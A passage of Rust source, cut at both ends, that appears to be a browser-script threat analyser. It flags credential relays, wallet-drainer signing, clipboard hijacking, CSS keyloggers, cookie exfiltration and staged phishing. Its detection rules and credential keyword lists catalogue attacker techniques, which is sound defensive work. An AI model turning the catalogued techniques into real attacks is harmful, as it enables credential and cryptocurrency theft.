1080 format!("Credential relay via SharedWorker port: {worker_url}")
1081 } else {
1082 format!("SharedWorker port relay: {worker_url}")
1083 },
1084 detail: if carries_credentials {
1085 "Script relays credential-like payloads through a SharedWorker port, allowing cross-tab or cross-page theft outside the main execution context".into()
1086 } else {
1087 "Script sends data through a SharedWorker port, a background coordination primitive that survives across same-origin contexts".into()
1088 },
1089 evidence: vec![i],
1090 });
1091 }
1092
1093 if api.contains("Storage.setItem") || api.contains("storage.set") {
1094 s.has_storage_write = true;
1095 s.storage_write_indices.push(i);
1096 }
1097
1098 if api == "storageEvent.register" {
1099 s.storage_event_register_indices.push(i);
1100 s.findings.push(BehavioralFinding {
1101 severity: Severity::Medium,
1102 category: Category::NetworkActivity,
1103 title: "Cross-tab storage event listener".into(),
1104 detail: "Script registers a storage event handler, a covert coordination primitive for cross-tab relay and staged reuse of captured state".into(),
1105 evidence: vec![i],
1106 });
1107 }
1108
1109 if api == "storageEvent.fire" {
1110 s.storage_event_fire_indices.push(i);
1111 let area = extract_first_string_arg(args).unwrap_or_else(|| "storage".into());
1112 let key = extract_second_string_arg(args).unwrap_or_default();
1113 let value = extract_third_string_arg(args).unwrap_or_default();
1114 let lower_args = format!(
1115 "{} {} {} {}",
1116 args_str.to_ascii_lowercase(),
1117 area.to_ascii_lowercase(),
1118 key.to_ascii_lowercase(),
1119 value.to_ascii_lowercase()
1120 );
1121 let carries_credentials = ["password", "otp", "email", "token", "code"]
1122 .iter()
1123 .any(|needle| lower_args.contains(needle));
1124 s.findings.push(BehavioralFinding {
1125 severity: if carries_credentials {
1126 Severity::Critical
1127 } else {
1128 Severity::High
1129 },
1130 category: if carries_credentials {
1131 Category::CredentialTheft
1132 } else {
1133 Category::Persistence
1134 },
1135 title: if carries_credentials {
1136 "Credential relay via storage event".into()
1137 } else {
1138 "Cross-tab storage-event coordination".into()
1139 },
1140 detail: if carries_credentials {
1141 format!(
1142 "Script relays credential-like state via a {} storage event on key {}",
1143 area,
1144 if key.is_empty() { "<clear>".into() } else { key.clone() }
1145 )
1146 } else {
1147 format!(
1148 "Script fires a {} storage event on key {} to coordinate staged activity across same-origin contexts",
1149 area,
1150 if key.is_empty() { "<clear>".into() } else { key.clone() }
1151 )
1152 },
1153 evidence: vec![i],
1154 });
1155 }
1156
1157 if api.contains("executeScript") {
1158 s.findings.push(BehavioralFinding {
1159 severity: Severity::Critical,
1160 category: Category::CodeInjection,
1161 title: "Remote code execution via executeScript".into(),
1162 detail: format!("Extension injects code into browser tabs via {api}"),
1163 evidence: vec![i],
1164 });
1165 }
1166
1167 if (api.contains("websocket.connect") || api.contains("websocket.send"))
1168 && let Some(url) = extract_url_from_args(args).or_else(|| {
1169 args.first().and_then(Value::as_str).and_then(|s| {
1170 if s.starts_with('[') {
1171 serde_json::from_str::<Vec<serde_json::Value>>(s)
1172 .ok()
1173 .and_then(|arr| {
1174 arr.first()
1175 .and_then(|v| v.as_str().map(ToString::to_string))
1176 })
1177 } else if s.starts_with("ws://") || s.starts_with("wss://") {
1178 Some(s.to_string())
1179 } else {
1180 None
1181 }
1182 })
1183 })
1184 {
1185 s.findings.push(BehavioralFinding {
1186 severity: Severity::High,
1187 category: Category::NetworkActivity,
1188 title: format!(
1189 "WebSocket connection to: {}",
1190 url.chars().take(60).collect::<String>()
1191 ),
1192 detail: format!("Persistent C2 channel via WebSocket to {url}"),
1193 evidence: vec![i],
1194 });
1195 s.has_external_fetch = true;
1196 s.external_urls.push(url);
1197 s.fetch_indices.push(i);
1198 s.websocket_indices.push(i);
1199 }
1200
1201 if api.starts_with("webrtc.") {
1202 s.webrtc_indices.push(i);
1203 let op = api.trim_start_matches("webrtc.");
1204 if matches!(
1205 op,
1206 "peer_connection"
1207 | "create_offer"
1208 | "create_answer"
1209 | "set_local_description"
1210 | "set_remote_description"
1211 | "ice_candidate"
1212 ) {
1213 s.findings.push(BehavioralFinding {
1214 severity: Severity::Medium,
1215 category: Category::Fingerprinting,
1216 title: format!("WebRTC peer setup: {op}"),
1217 detail: "Script initializes WebRTC primitives that can expose local network metadata or create covert peer channels".into(),
1218 evidence: vec![i],
1219 });
1220 }
1221 if op == "data_channel" {
1222 s.findings.push(BehavioralFinding {
1223 severity: Severity::High,
1224 category: Category::NetworkActivity,
1225 title: "WebRTC data channel created".into(),
1226 detail: "Script creates a WebRTC data channel that can bypass normal HTTP visibility".into(),
1227 evidence: vec![i],
1228 });
1229 }
1230 if op == "data_channel_send" {
1231 s.webrtc_data_send_indices.push(i);
1232 s.findings.push(BehavioralFinding {
1233 severity: Severity::High,
1234 category: Category::DataExfiltration,
1235 title: "WebRTC data channel transmission".into(),
1236 detail: "Script sends payload data over a WebRTC data channel, a covert peer-to-peer exfiltration path".into(),
1237 evidence: vec![i],
1238 });
1239 }
1240 }
1241
1242 if api.contains("worker.create") || api.contains("sharedworker.create") {
1243 s.worker_indices.push(i);
1244 s.findings.push(BehavioralFinding {
1245 severity: Severity::Medium,
1246 category: Category::Evasion,
1247 title: "Web Worker created - possible payload hiding".into(),
1248 detail: "Script creates a Worker thread for background execution".into(),
1249 evidence: vec![i],
1250 });
1251 }
1252
1253 if api.contains("wasm.instantiate") || api.contains("wasm.compile") {
1254 s.wasm_indices.push(i);
1255 s.findings.push(BehavioralFinding {
1256 severity: Severity::High,
1257 category: Category::Evasion,
1258 title: "WebAssembly module loaded - possible crypto miner".into(),
1259 detail: "Script loads a WASM module, commonly used for hash computation in crypto miners".into(),
1260 evidence: vec![i],
1261 });
1262 }
1263
1264 if api.contains("serviceworker.register") {
1265 s.service_worker_indices.push(i);
1266 s.findings.push(BehavioralFinding {
1267 severity: Severity::High,
1268 category: Category::Persistence,
1269 title: "ServiceWorker registration - persistent background execution".into(),
1270 detail: "Script registers a ServiceWorker for persistent access even after tab closes".into(),
1271 evidence: vec![i],
1272 });
1273 }
1274
1275 if api == "ethereum.request" || api == "ethereum.on" {
1276 let method = extract_first_string_arg(args).unwrap_or_default();
1277 if method == "eth_requestAccounts" || method == "eth_accounts" {
1278 s.has_wallet_connect = true;
1279 s.wallet_connect_idx = Some(i);
1280 s.findings.push(BehavioralFinding {
1281 severity: Severity::High,
1282 category: Category::CryptoTheft,
1283 title: "Wallet connection requested".into(),
1284 detail: format!(
1285 "Script requests access to user's Ethereum wallet via {method}"
1286 ),
1287 evidence: vec![i],
1288 });
1289 }
1290 }
1291 if api == "crypto.sign_transaction" || api == "crypto.send_transaction" {
1292 s.has_sign_transaction = true;
1293 s.sign_indices.push(i);
1294 let is_send = api == "crypto.send_transaction";
1295 s.findings.push(BehavioralFinding {
1296 severity: Severity::Critical,
1297 category: Category::CryptoTheft,
1298 title: if is_send {
1299 "DIRECT ETH TRANSFER requested".into()
1300 } else {
1301 "Transaction signing requested".into()
1302 },
1303 detail: format!(
1304 "Script requests user {} a transaction: {}",
1305 if is_send { "send" } else { "sign" },
1306 args_str.chars().take(200).collect::<String>()
1307 ),
1308 evidence: vec![i],
1309 });
1310 }
1311 if api == "crypto.sign_message" {
1312 s.has_sign_message = true;
1313 s.sign_indices.push(i);
1314 let method = extract_first_string_arg(args).unwrap_or_default();
1315 let severity = if method.contains("signTypedData") {
1316 Severity::Critical
1317 } else {
1318 Severity::High
1319 };
1320 s.findings.push(BehavioralFinding {
1321 severity,
1322 category: Category::CryptoTheft,
1323 title: format!("Message signing via {method}"),
1324 detail: "Script requests cryptographic signature - EIP-712 permit signatures can authorize token transfers".into(),
1325 evidence: vec![i],
1326 });
1327 }
1328 if api == "crypto.chain_switch" {
1329 s.has_chain_switch = true;
1330 s.findings.push(BehavioralFinding {
1331 severity: Severity::High,
1332 category: Category::CryptoTheft,
1333 title: "Chain switch requested".into(),
1334 detail: "Script attempts to switch wallet to a different blockchain network - common drainer tactic to move to attacker-controlled chain".into(),
1335 evidence: vec![i],
1336 });
1337 }
1338 if api.starts_with("crypto.solana_sign") {
1339 s.has_sign_transaction = true;
1340 s.sign_indices.push(i);
1341 s.findings.push(BehavioralFinding {
1342 severity: Severity::Critical,
1343 category: Category::CryptoTheft,
1344 title: format!("Solana transaction signing: {api}"),
1345 detail: "Script requests Solana wallet to sign a transaction".into(),
1346 evidence: vec![i],
1347 });
1348 }
1349 if api == "solana.connect" {
1350 s.has_wallet_connect = true;
1351 s.wallet_connect_idx = Some(i);
1352 s.findings.push(BehavioralFinding {
1353 severity: Severity::High,
1354 category: Category::CryptoTheft,
1355 title: "Solana wallet connection requested".into(),
1356 detail: "Script connects to user's Solana wallet".into(),
1357 evidence: vec![i],
1358 });
1359 }
1360
1361 if api == "clipboard.writeText" || api == "clipboard.write" {
1362 s.has_clipboard_write = true;
1363 s.clipboard_write_content = extract_url_from_args(args).or_else(|| {
1364 args.first()
1365 .and_then(Value::as_str)
1366 .map(ToString::to_string)
1367 });
1368 let content = s.clipboard_write_content.as_deref().unwrap_or("");
1369 let is_crypto_addr = (content.starts_with("0x")
1370 && content.len() >= 42
1371 && content[2..42].chars().all(|c| c.is_ascii_hexdigit()))
1372 || (content.starts_with("bc1")
1373 && content.len() >= 42
1374 && content.len() <= 62)
1375 || (content.starts_with('1')
1376 && content.len() >= 26
1377 && content.len() <= 35
1378 && content.chars().all(|c| c.is_ascii_alphanumeric()))
1379 || (content.starts_with('T')
1380 && content.len() == 34
1381 && content.chars().all(|c| c.is_ascii_alphanumeric()));
1382 let severity = if is_crypto_addr {
1383 Severity::Critical
1384 } else {
1385 Severity::High
1386 };
1387 s.findings.push(BehavioralFinding {
1388 severity,
1389 category: Category::ClipboardHijack,
1390 title: if is_crypto_addr {
1391 "Clipboard hijacked with crypto address".into()
1392 } else {
1393 "Clipboard content overwritten".into()
1394 },
1395 detail: format!(
1396 "Script writes to clipboard: {}...",
1397 &content[..content.len().min(80)]
1398 ),
1399 evidence: vec![i],
1400 });
1401 }
1402 if api == "clipboard.readText" || api == "clipboard.read" {
1403 s.has_clipboard_read = true;
1404 s.findings.push(BehavioralFinding {
1405 severity: Severity::Medium,
1406 category: Category::ClipboardHijack,
1407 title: "Clipboard content read".into(),
1408 detail: "Script reads clipboard - may be harvesting copied passwords or crypto addresses".into(),
1409 evidence: vec![i],
1410 });
1411 }
1412
1413 if api == "notification.requestPermission" {
1414 s.notification_permission_indices.push(i);
1415 s.findings.push(BehavioralFinding {
1416 severity: Severity::Medium,
1417 category: Category::PrivacyViolation,
1418 title: "Push notification permission requested".into(),
1419 detail: "Script requests notification permissions - used for persistent social engineering".into(),
1420 evidence: vec![i],
1421 });
1422 }
1423
1424 if api == "notification.create" {
1425 s.notification_create_indices.push(i);
1426 s.findings.push(BehavioralFinding {
1427 severity: Severity::Medium,
1428 category: Category::Persistence,
1429 title: "Notification created".into(),
1430 detail:
1431 "Script generates a notification payload for out-of-tab re-engagement"
1432 .into(),
1433 evidence: vec![i],
1434 });
1435 }
1436
1437 if api == "payment.request" || api == "payment.show" {
1438 s.payment_request_indices.push(i);
1439 s.findings.push(BehavioralFinding {
1440 severity: Severity::Critical,
1441 category: Category::CryptoTheft,
1442 title: "Payment Request API invoked".into(),
1443 detail: "Script triggers browser payment flow - may be attempting unauthorized payment".into(),
1444 evidence: vec![i],
1445 });
1446 }
1447
1448 if (api == "history.pushState" || api == "history.replaceState")
1449 && let Some(url) = extract_url_from_args(args)
1450 {
1451 s.history_state_indices.push(i);
1452 s.findings.push(BehavioralFinding {
1453 severity: Severity::Medium,
1454 category: Category::Evasion,
1455 title: format!("URL bar manipulation via {api}"),
1456 detail: format!(
1457 "Script changes visible URL to {url} - may hide phishing URL"
1458 ),
1459 evidence: vec![i],
1460 });
1461 }
1462
1463 if api.starts_with("geolocation.") {
1464 s.geolocation_indices.push(i);
1465 s.findings.push(BehavioralFinding {
1466 severity: Severity::Medium,
1467 category: Category::PrivacyViolation,
1468 title: format!("Geolocation access: {api}"),
1469 detail: "Script accesses user's physical location".into(),
1470 evidence: vec![i],
1471 });
1472 }
1473
1474 if let Some(operation) = api.strip_prefix("crypto.subtle.") {
1475 s.crypto_operation_indices.push(i);
1476 if operation == "decrypt" {
1477 s.crypto_decrypt_indices.push(i);
1478 }
1479 if operation == "importKey" {
1480 s.crypto_import_key_indices.push(i);
1481 }
1482 let detail = extract_first_string_arg(args).unwrap_or_default();
1483 s.findings.push(BehavioralFinding {
1484 severity: if operation == "decrypt" {
1485 Severity::High
1486 } else {
1487 Severity::Medium
1488 },
1489 category: if operation == "decrypt" {
1490 Category::CodeInjection
1491 } else {
1492 Category::Evasion
1493 },
1494 title: format!("WebCrypto subtle operation: {operation}"),
1495 detail: if detail.is_empty() {
1496 "Script uses WebCrypto subtle APIs, a common primitive for encrypted staging and payload unlocking".into()
1497 } else {
1498 format!(
1499 "Script uses WebCrypto subtle.{operation} with {detail}, a common primitive for encrypted staging and payload unlocking"
1500 )
1501 },
1502 evidence: vec![i],
1503 });
1504 }
1505
1506 if api == "indexedDB.open" {
1507 s.indexed_db_indices.push(i);
1508 let name = extract_first_string_arg(args).unwrap_or_default();
1509 s.findings.push(BehavioralFinding {
1510 severity: Severity::Medium,
1511 category: Category::Persistence,
1512 title: format!("IndexedDB persistence surface opened: {name}"),
1513 detail: "Script opens an IndexedDB database, enabling durable browser-side staging or state retention".into(),
1514 evidence: vec![i],
1515 });
1516 }
1517
1518 if api == "trustedTypes.createPolicy" {
1519 s.trusted_types_indices.push(i);
1520 let name = extract_first_string_arg(args).unwrap_or_default();
1521 s.findings.push(BehavioralFinding {
1522 severity: Severity::Medium,
1523 category: Category::Evasion,
1524 title: format!("Trusted Types policy created: {name}"),
1525 detail: "Script creates a Trusted Types policy, a capability often used by sophisticated loaders to blend malicious DOM or script creation into hardened applications".into(),
1526 evidence: vec![i],
1527 });
1528 }
1529
1530 if api == "scheduler.postTask"
1531 || api == "scheduler.yield"
1532 || api == "requestIdleCallback"
1533 || api == "requestAnimationFrame"
1534 || api == "queueMicrotask"
1535 {
1536 s.scheduler_indices.push(i);
1537 let priority =
1538 extract_first_string_arg(args).unwrap_or_else(|| "user-visible".into());
1539 s.findings.push(BehavioralFinding {
1540 severity: Severity::Medium,
1541 category: Category::Evasion,
1542 title: if api == "scheduler.postTask" {
1543 format!("Deferred task scheduling via scheduler.postTask ({priority})")
1544 } else if api == "requestIdleCallback" {
1545 format!("Deferred task scheduling via requestIdleCallback ({priority})")
1546 } else if api == "requestAnimationFrame" {
1547 "Deferred task scheduling via requestAnimationFrame (16ms)".into()
1548 } else if api == "queueMicrotask" {
1549 "Deferred task scheduling via queueMicrotask (immediate)".into()
1550 } else {
1551 "Scheduler yield used for staged execution".into()
1552 },
1553 detail: match api.as_str() {
1554 "requestIdleCallback" => {
1555 "Script uses requestIdleCallback to defer execution until the browser is idle, a common way to hide staged activity after initial rendering".into()
1556 }
1557 "requestAnimationFrame" => {
1558 "Script uses requestAnimationFrame to delay execution until the next rendering tick, a common way to stage DOM or network activity after initial page setup".into()
1559 }
1560 "queueMicrotask" => {
1561 "Script uses queueMicrotask to push staged behavior into the microtask queue, hiding work after synchronous setup but before the next task boundary".into()
1562 }
1563 _ => {
1564 "Script uses the Scheduler API to defer execution and potentially evade simplistic single-pass analysis".into()
1565 }
1566 },
1567 evidence: vec![i],
1568 });
1569 }
1570
1571 if api == "url.createObjectURL" {
1572 s.blob_url_indices.push(i);
1573 let mut content_type = args
1574 .get(1)
1575 .and_then(Value::as_str)
1576 .unwrap_or("application/octet-stream")
1577 .to_string();
1578 let preview = args.get(2).and_then(Value::as_str).unwrap_or_default();
1579 let preview_lower = preview.to_ascii_lowercase();
1580 if (content_type.is_empty() || content_type == "application/octet-stream")
1581 && preview_lower.contains("<form")
1582 {
1583 content_type = "text/html".into();
1584 } else if (content_type.is_empty()
1585 || content_type == "application/octet-stream")
1586 && preview_lower.contains("<svg")
1587 {
1588 content_type = "image/svg+xml".into();
1589 }
1590 if content_type.eq_ignore_ascii_case("text/html")
1591 || content_type.eq_ignore_ascii_case("image/svg+xml")
1592 {
1593 s.html_blob_url_indices.push(i);
1594 }
1595 s.findings.push(BehavioralFinding {
1596 severity: if content_type.eq_ignore_ascii_case("text/html")
1597 || content_type.eq_ignore_ascii_case("image/svg+xml")
1598 {
1599 Severity::High
1600 } else {
1601 Severity::Medium
1602 },
1603 category: Category::DomManipulation,
1604 title: format!("In-memory blob URL created ({content_type})"),
1605 detail: "Script creates an in-memory object URL, a common staging primitive for hidden HTML, SVG, or download payloads".into(),
1606 evidence: vec![i],
1607 });
1608 }
1609
1610 if api == "mutationObserver.observe" {
1611 s.mutation_observer_indices.push(i);
1612 s.findings.push(BehavioralFinding {
1613 severity: Severity::Medium,
1614 category: Category::DomManipulation,
1615 title: "MutationObserver-backed DOM watcher".into(),
1616 detail: "Script registers a MutationObserver, a common primitive for waiting on DOM changes before staging forms, overlays, or delayed credential prompts".into(),
1617 evidence: vec![i],
1618 });
1619 }
1620 if api == "intersectionObserver.observe" {
1621 s.intersection_observer_indices.push(i);
1622 s.findings.push(BehavioralFinding {
1623 severity: Severity::Medium,
1624 category: Category::Evasion,
1625 title: "IntersectionObserver-backed DOM watcher".into(),
1626 detail: "Script uses IntersectionObserver to defer behavior until elements become visible, a common staged lure and delayed injection primitive".into(),
1627 evidence: vec![i],
1628 });
1629 }
1630 if api == "resizeObserver.observe" {
1631 s.resize_observer_indices.push(i);
1632 s.findings.push(BehavioralFinding {
1633 severity: Severity::Medium,
1634 category: Category::Evasion,
1635 title: "ResizeObserver-backed DOM watcher".into(),
1636 detail: "Script uses ResizeObserver to react to layout changes before triggering behavior, a staged DOM watcher frequently paired with delayed payload activation".into(),
1637 evidence: vec![i],
1638 });
1639 }
1640
1641 if api.contains("webRequest") && api.contains("addListener") {
1642 s.findings.push(BehavioralFinding {
1643 severity: Severity::High,
1644 category: Category::NetworkActivity,
1645 title: "Web request interception".into(),
1646 detail: "Extension intercepts and can modify all web requests".into(),
1647 evidence: vec![i],
1648 });
1649 }
1650 }
1651
1652 Observation::CookieAccess {
1653 operation, name, ..
1654 } => {
1655 s.timeline.push(TimelineEntry {
1656 index: i,
1657 action: format!("cookie.{operation:?}({name})"),
1658 category: Category::CookieAccess,
1659 });
1660 if matches!(operation, CookieOp::Read) {
1661 s.has_cookie_read = true;
1662 s.cookie_read_idx = Some(i);
1663 }
1664 }
1665
1666 Observation::NetworkRequest { url, method, .. } => {
1667 s.timeline.push(TimelineEntry {
1668 index: i,
1669 action: format!("{method} {url}"),
1670 category: Category::NetworkActivity,
1671 });
1672 if is_external_url(url) {
1673 s.has_external_fetch = true;
1674 s.external_urls.push(url.clone());
1675 s.fetch_indices.push(i);
1676 }
1677 }
1678
1679 Observation::DynamicCodeExec {
1680 source,
1681 code_preview,
1682 } => {
1683 s.dynamic_code_indices.push(i);
1684 let preview = if code_preview.len() > 60 {
1685 format!("{}...", &code_preview[..60])
1686 } else {
1687 code_preview.clone()
1688 };
1689 s.timeline.push(TimelineEntry {
1690 index: i,
1691 action: format!("{source:?}: {preview}"),
1692 category: Category::CodeInjection,
1693 });
1694 s.findings.push(BehavioralFinding {
1695 severity: Severity::High,
1696 category: Category::CodeInjection,
1697 title: format!("Dynamic code execution via {source:?}"),
1698 detail: format!("Code: {preview}"),
1699 evidence: vec![i],
1700 });
1701 }
1702
1703 Observation::CssExfiltration { selector, url, .. } => {
1704 s.findings.push(BehavioralFinding {
1705 severity: Severity::Critical,
1706 category: Category::DataExfiltration,
1707 title: format!("CSS keylogger: {selector} → {url}"),
1708 detail: format!(
1709 "CSS rule exfiltrates input data via background-image URL: {url}"
1710 ),
1711 evidence: vec![i],
1712 });
1713 s.has_external_fetch = true;
1714 s.external_urls.push(url.clone());
1715 s.fetch_indices.push(i);
1716 }
1717
1718 Observation::PropertyRead {
1719 object, property, ..
1720 } => {
1721 let object_l = object.to_ascii_lowercase();
1722 let property_l = property.to_ascii_lowercase();
1723 let fingerprint_like = matches!(
1724 (object_l.as_str(), property_l.as_str()),
1725 ("navigator", "useragent")
1726 | ("navigator", "platform")
1727 | ("navigator", "language")
1728 | ("navigator", "languages")
1729 | ("navigator", "hardwareconcurrency")
1730 | ("navigator", "devicememory")
1731 | ("navigator", "webdriver")
1732 | ("screen", "width")
1733 | ("screen", "height")
1734 | ("screen", "availwidth")
1735 | ("screen", "availheight")
1736 | ("document", "visibilitystate")
1737 );
1738 if fingerprint_like {
1739 let api = format!("{object}.{property}");
1740 s.has_fingerprint_access = true;
1741 s.fingerprint_indices.push(i);
1742 s.fingerprint_apis.push(format!("{object}.{property}"));
1743 s.timeline.push(TimelineEntry {
1744 index: i,
1745 action: format!("fingerprint: {api}"),
1746 category: Category::Fingerprinting,
1747 });
1748 s.findings.push(BehavioralFinding {
1749 severity: Severity::Medium,
1750 category: Category::Fingerprinting,
1751 title: format!("Browser fingerprinting via {api}"),
1752 detail: "Script probes browser identity and environment properties".into(),
1753 evidence: vec![i],
1754 });
1755 }
1756 }
1757
1758 Observation::FingerprintAccess { api, .. } => {
1759 s.has_fingerprint_access = true;
1760 s.fingerprint_indices.push(i);
1761 s.fingerprint_apis.push(api.clone());
1762 s.timeline.push(TimelineEntry {
1763 index: i,
1764 action: format!("fingerprint: {api}"),
1765 category: Category::Fingerprinting,
1766 });
1767 s.findings.push(BehavioralFinding {
1768 severity: Severity::Medium,
1769 category: Category::Fingerprinting,
1770 title: format!("Browser fingerprinting via {api}"),
1771 detail: "Script probes browser identity APIs".into(),
1772 evidence: vec![i],
1773 });
1774 }
1775
1776 Observation::TimerSet {
1777 delay_ms,
1778 is_interval,
1779 ..
1780 } => {
1781 s.timer_indices.push(i);
1782 if *delay_ms >= 3_000 {
1783 s.long_delay_timer_indices.push(i);
1784 s.findings.push(BehavioralFinding {
1785 severity: Severity::Medium,
1786 category: Category::Evasion,
1787 title: if *is_interval {
1788 format!("Long-lived interval timer: {delay_ms}ms")
1789 } else {
1790 format!("Delayed execution timer: {delay_ms}ms")
1791 },
1792 detail: if *is_interval {
1793 "Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
1794 } else {
1795 "Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
1796 },
1797 evidence: vec![i],
1798 });
1799 }
1800 }
1801
1802 Observation::WasmInstantiation { module_size, .. } => {
1803 s.wasm_indices.push(i);
1804 s.findings.push(BehavioralFinding {
1805 severity: Severity::High,
1806 category: Category::Evasion,
1807 title: "WebAssembly module instantiation".into(),
1808 detail: format!("Script loads a {module_size}-byte WASM module - may contain obfuscated logic"),
1809 evidence: vec![i],
1810 });
1811 }
1812
1813 Observation::DomMutation {
1814 kind,
1815 target,
1816 detail,
1817 } => {
1818 s.timeline.push(TimelineEntry {
1819 index: i,
1820 action: format!("DOM {kind:?} on <{target}>: {detail}"),
1821 category: Category::DomManipulation,
1822 });
1823 }
1824
1825 _ => {}
1826 }
1827 }
1828
1829 if s.has_cookie_read && s.has_external_fetch {
1830 let mut evidence = Vec::new();
1831 if let Some(idx) = s.cookie_read_idx {
1832 evidence.push(idx);
1833 }
1834 evidence.extend(&s.fetch_indices);
1835 s.findings.push(BehavioralFinding {
1836 severity: Severity::Critical,
1837 category: Category::DataExfiltration,
1838 title: "Cookie exfiltration to external server".into(),
1839 detail: format!(
1840 "Script reads cookies and sends data to: {}",
1841 s.external_urls.join(", ")
1842 ),
1843 evidence,
1844 });
1845 } else if s.has_cookie_read {
1846 s.findings.push(BehavioralFinding {
1847 severity: Severity::Medium,
1848 category: Category::CookieAccess,
1849 title: "Cookie access detected".into(),
1850 detail: "Script reads browser cookies".into(),
1851 evidence: s.cookie_read_idx.into_iter().collect(),
1852 });
1853 }
1854
1855 if s.has_external_fetch && !s.has_cookie_read {
1856 s.findings.push(BehavioralFinding {
1857 severity: Severity::Medium,
1858 category: Category::NetworkActivity,
1859 title: "External network requests".into(),
1860 detail: format!("Requests to: {}", s.external_urls.join(", ")),
1861 evidence: s.fetch_indices.clone(),
1862 });
1863 }
1864
1865 if s.has_storage_write {
1866 s.findings.push(BehavioralFinding {
1867 severity: Severity::Low,
1868 category: Category::Persistence,
1869 title: "Local storage persistence".into(),
1870 detail: "Script stores data in localStorage/sessionStorage".into(),
1871 evidence: s.storage_write_indices.clone(),
1872 });
1873 }
1874
1875 if s.has_credential_surface
1876 && (s.has_external_fetch || !s.external_credential_action_indices.is_empty())
1877 {
1878 let mut evidence = s.credential_surface_indices.clone();
1879 evidence.extend(&s.fetch_indices);
1880 evidence.extend(&s.external_credential_action_indices);
1881 evidence.sort_unstable();
1882 evidence.dedup();
1883 s.findings.push(BehavioralFinding {
1884 severity: Severity::Critical,
1885 category: Category::CredentialTheft,
1886 title: "CONFIRMED: Staged credential harvesting flow".into(),
1887 detail: format!(
1888 "Script exposes a credential collection surface and relays or submits data to external destinations: {}",
1889 s.external_urls.join(", ")
1890 ),
1891 evidence,
1892 });
1893 }
1894
1895 if s.has_credential_surface
1896 && !s.mutation_observer_indices.is_empty()
1897 && (s.has_external_fetch || !s.storage_write_indices.is_empty())
1898 {
1899 let mut evidence = s.credential_surface_indices.clone();
1900 evidence.extend(&s.mutation_observer_indices);
1901 evidence.extend(&s.fetch_indices);
1902 evidence.extend(&s.storage_write_indices);
1903 evidence.sort_unstable();
1904 evidence.dedup();
1905 s.findings.push(BehavioralFinding {
1906 severity: Severity::Critical,
1907 category: Category::CredentialTheft,
1908 title: "Observer-driven staged credential injection".into(),
1909 detail: "Script combines a MutationObserver with a credential surface and downstream staging or off-origin activity, indicating delayed DOM-triggered credential theft rather than a static login page".into(),
1910 evidence,
1911 });
1912 }
1913
1914 let has_layout_observer =
1915 !s.intersection_observer_indices.is_empty() || !s.resize_observer_indices.is_empty();
1916 if s.has_credential_surface
1917 && has_layout_observer
1918 && (s.has_external_fetch || !s.storage_write_indices.is_empty())
1919 {
1920 let mut evidence = s.credential_surface_indices.clone();
1921 evidence.extend(&s.fetch_indices);
1922 evidence.extend(&s.storage_write_indices);
1923 evidence.extend(&s.intersection_observer_indices);
1924 evidence.extend(&s.resize_observer_indices);
1925 evidence.sort_unstable();
1926 evidence.dedup();
1927 s.findings.push(BehavioralFinding {
1928 severity: Severity::Critical,
1929 category: Category::CredentialTheft,
1930 title: "Observer-driven staged credential injection".into(),
1931 detail: "Script combines a credential surface with IntersectionObserver or ResizeObserver and staged delivery, indicating delayed DOM-triggered credential theft".into(),
1932 evidence,
1933 });
1934 }
1935
1936 if s.has_credential_surface
1937 && !s.blob_url_indices.is_empty()
1938 && !s.blob_navigation_indices.is_empty()
1939 {
1940 let mut evidence = s.credential_surface_indices.clone();
1941 evidence.extend(&s.blob_url_indices);
1942 evidence.extend(&s.blob_navigation_indices);
1943 evidence.sort_unstable();
1944 evidence.dedup();
1945 s.findings.push(BehavioralFinding {
1946 severity: Severity::Critical,
1947 category: Category::CredentialTheft,
1948 title: "Blob-backed credential lure".into(),
1949 detail: "Script creates an in-memory blob URL and navigates to it alongside a credential surface, indicating a staged phishing page or hidden payload generated outside normal network-visible URLs".into(),
1950 evidence,
1951 });
1952 }
1953
1954 if !s.credential_api_indices.is_empty() && s.has_external_fetch {
1955 let mut evidence = s.credential_api_indices.clone();
1956 evidence.extend(&s.fetch_indices);
1957 evidence.sort_unstable();
1958 evidence.dedup();
1959 s.findings.push(BehavioralFinding {
1960 severity: Severity::Critical,
1961 category: Category::CredentialTheft,
1962 title: "Credential API abuse with off-origin activity".into(),
1963 detail: "Script uses the browser Credential Management API and also communicates off-origin, indicating managed credential capture tied to external exfiltration or staged phishing flow".into(),
1964 evidence,
1965 });
1966 }
1967
1968 if (s.has_credential_surface || !s.credential_api_indices.is_empty())
1969 && !s.indexed_db_indices.is_empty()
1970 && (s.has_external_fetch || !s.service_worker_indices.is_empty())
1971 {
1972 let mut evidence = s.credential_surface_indices.clone();
1973 evidence.extend(&s.credential_api_indices);
1974 evidence.extend(&s.indexed_db_indices);
1975 evidence.extend(&s.fetch_indices);
1976 evidence.extend(&s.service_worker_indices);
1977 evidence.sort_unstable();
1978 evidence.dedup();
1979 s.findings.push(BehavioralFinding {
1980 severity: Severity::Critical,
1981 category: Category::Persistence,
1982 title: "IndexedDB-backed credential staging".into(),
1983 detail: "Script combines a credential surface or managed credential API with IndexedDB persistence and downstream off-origin or service-worker activity, indicating durable staged credential theft rather than a disposable page".into(),
1984 evidence,
1985 });
1986 }
1987
1988 if !s.popup_indices.is_empty() && !s.postmessage_indices.is_empty() {
1989 let mut evidence = s.popup_indices.clone();
1990 evidence.extend(&s.postmessage_indices);
1991 s.findings.push(BehavioralFinding {
1992 severity: Severity::Critical,
1993 category: Category::CredentialTheft,
1994 title: "Cross-window credential handoff".into(),
1995 detail: "Script opens a secondary window and relays data across contexts, a common hosted-login and OAuth phishing pattern".into(),
1996 evidence,
1997 });
1998 }
1999
2000 if !s.service_worker_indices.is_empty() && s.has_storage_write && s.has_external_fetch {
2001 let mut evidence = s.service_worker_indices.clone();
2002 evidence.extend(&s.storage_write_indices);
2003 evidence.extend(&s.fetch_indices);
2004 evidence.sort_unstable();
2005 evidence.dedup();
2006 s.findings.push(BehavioralFinding {
2007 severity: Severity::Critical,
2008 category: Category::Persistence,
2009 title: "Persistent staged phishing/exfiltration".into(),
2010 detail: "Script registers a ServiceWorker, stores local state, and communicates externally - persistent multi-step abuse rather than a one-shot payload".into(),
2011 evidence,
2012 });
2013 }
2014
2015 if !s.long_delay_timer_indices.is_empty()
2016 && !s.service_worker_indices.is_empty()
2017 && s.has_storage_write
2018 && s.has_external_fetch
2019 {
2020 let mut evidence = s.long_delay_timer_indices.clone();
2021 evidence.extend(&s.service_worker_indices);
2022 evidence.extend(&s.storage_write_indices);
2023 evidence.extend(&s.fetch_indices);
2024 evidence.sort_unstable();
2025 evidence.dedup();
